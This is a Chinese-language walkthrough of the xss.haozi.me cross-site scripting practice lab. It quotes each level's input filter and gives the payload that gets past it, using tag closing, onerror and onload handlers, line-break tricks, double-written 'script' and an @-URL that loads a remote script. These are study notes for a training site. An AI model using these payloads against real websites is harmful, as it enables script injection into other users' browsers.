https://xss.haozi.me/ 感觉挺不错的,是最干净最明白的一个,比xsslab要好。
第一题:
无过滤
<script>alert(1)</script>
第二题:
闭合
</textarea><script>alert(2)</script>
第三题
闭合>
"><script>alert(3)</script>
第四题
过滤了括号
<img src="" onerror=javascript:alert(1)>
这里我尝试了,是不行的,JavaScript里面的#是用的比较少的,而且不会被解码
第五题
多过滤了一个反引号,同上解
第六题
闭合注释符
--!><img src="" onerror=javascript:alert(1)>
第七题
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
这里匹配的好像是auto和on+到后面=号为止,type的第一个属性值有效。
type="image" src="xxx" onerror
="alert(1)" 注意换行
第八题
function render (input) {
const stripTagsRe = /</?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
第八题
把<>开头结尾的东西匹配替换为空
<body onload=alert(1)
onload 事件会在页面或图像加载完成后立即发生。
onload 通常用于 元素,在页面完全载入后(包括图片、css文件等等。)执行脚本代码。
还可以<iframe onload=alert("xss");></iframe>
第九题
function render (src) {
src = src.replace(/</style>/ig, '/* u574Fu4EBA */')
return `
<style>
${src}
</style>
`
}
</style
><script>alert(1)</script>
用一个换行绕过要屏蔽的
第10题
function render (input) {
let domainRe = /^https?://www.segmentfault.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
https://www.segmentfault.comaaaa" onerror=alert(1)
这里匹配那个网址开头的字符串,这里可以用onerror ,也可以闭合
0x0A
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(///g, '/')
}
const domainRe = /^https?://www.segmentfault.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
将字符转义成html字符实体。
这里学到一个新知识点,如果在一个网址后面加上@,则会加载@后面的网址,没用百度到为什么,
比如,你访问https://abc.com@baidu.com,则进入的是百度,至于是http或是https,这个我就不理解他是如何分辨的
看别的大佬的题解是有一个内置的,当然也可以在自己的服务器上写一个js去运行
别人的payload:https://www.segmentfault.com@xss.haozi.me/j.js
我测试失败了。
0x0B
payload:<img src="" onerror=alert(1)>
这里可以用unicode 绕过
还有一个知识点,html 是不区分大小写的,而javascript是区分的,所以这里要用html的,不能用script标签。
//另外一个payload
为什么说js区分却又能用这个呢,因为我验证不了,只能等下一次遇到类似的再验证
0x0C
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
这里的本意是,把script过滤一次替换为空,用双写绕过
上一个payload是可以用的,但是别的大佬的wp说
<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>
那没事了
0x0D
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
alert(1)
-->
不懂,换行然后-->html注释符,不知道为什么要换行再-->,而且html的不是 <!-- 注释 --!>吗,,,是我孤陋寡闻了
哦原来才是标准的。